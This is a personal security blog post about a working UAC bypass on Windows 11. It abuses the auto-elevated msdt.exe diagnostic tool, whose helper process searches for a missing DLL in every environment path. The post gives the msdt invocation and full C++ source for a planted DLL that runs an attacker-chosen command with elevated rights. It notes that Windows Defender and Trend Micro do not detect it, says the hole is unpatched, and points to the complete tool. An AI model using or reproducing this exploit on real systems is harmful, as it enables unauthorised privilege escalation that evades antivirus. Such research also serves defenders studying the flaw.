
UAC Bypass with msdt.exe
I recently read the blog about old bypass methods by g3tsyst3m and was shocked to see that UAC bypasses discovered over 9 years ago were still working recently! According to him, the bypasses mentioned were patched out at the beginning of this year, but I was too curious about one method and wanted to test it myself.
An old Troubleshooting Tool
In the past, if you had a problem with Windows, there was the “Microsoft Support Diagnostic Tool” (MSDT) for analyzing and fixing errors. Microsoft has since replaced the tool with the “Get Help” app, but the old legacy tool can still be found in Windows 11 (for compatibility reasons and all that). To prevent users from having to confirm UAC for every diagnosis, MSDT is auto-elevated by Windows.
If we take a closer look at MSDT, we can see that the individual diagnostic flows are stored under C:\WINDOWS\diagnostics\index\
. Let’s take a look at the Bluetooth diagnosis flow. To do this, we call msdt with the following parameters: c:\windows\syswow64\msdt.exe -path C:\WINDOWS\diagnostics\index\BluetoothDiagnostic.xml -skip yes
Meanwhile, I logged everything with Procmon. I immediately notice that the sdiagnhost.exe
process is searching for the BluetoothDiagnosticUtil.dll
file. However, it is not searching in a specific location, but in every environment variable!

So I thought, what if I put my own DLL file in one of my environment variables? And can I combine that with my “TIelevated” tool? I quickly started Visual Studio and wrote a small DLL file.
#include "pch.h"
#include <windows.h>
#include <fstream>
#include <string>
static void Payload()
{
char tempPath[MAX_PATH];
GetTempPathA(MAX_PATH, tempPath);
std::string filePath = std::string(tempPath) + "TIelevated\mylocation.txt";
std::ifstream inputFile(filePath);
if (!inputFile.is_open())
{
return;
}
std::string commandString;
std::getline(inputFile, commandString);
inputFile.close();
if (commandString.empty())
{
return;
}
std::wstring wCommandString(commandString.begin(), commandString.end());
STARTUPINFO si;
si = {sizeof(STARTUPINFO)};
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOWNORMAL;
PROCESS_INFORMATION pi;
if (CreateProcess(
wCommandString.c_str(), // Application path from the file
nullptr, // Command line args
nullptr, // Process handle not inheritable
nullptr, // Thread handle not inheritable
FALSE, // Inherit handles
CREATE_NEW_CONSOLE, // Ensures a new console window
nullptr, // Use parent's environment
nullptr, // Use parent's starting directory
&si, // Pointer to STARTUPINFO
&pi) // Pointer to PROCESS_INFORMATION
)
{
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(nullptr, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(Payload), nullptr, 0, nullptr);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
When executed, TIelevated creates a folder and writes it to the environment variables. It then drops my DLL file and starts msdt. The path to TIelevated is written to a file, which is read by the DLL and executed again, while the process with the DLL should already be auto-elevated.
Ta-da, we have a shell! Not bad, right? Interestingly, neither Windows Defender nor third-party AV software such as Trend Micro reacts. If you want to see more about the process, you can view the source code for TIelevated here on GitHub. This shows that Microsoft hasn’t patched all the bypasses. Let’s see how long it stays open! :)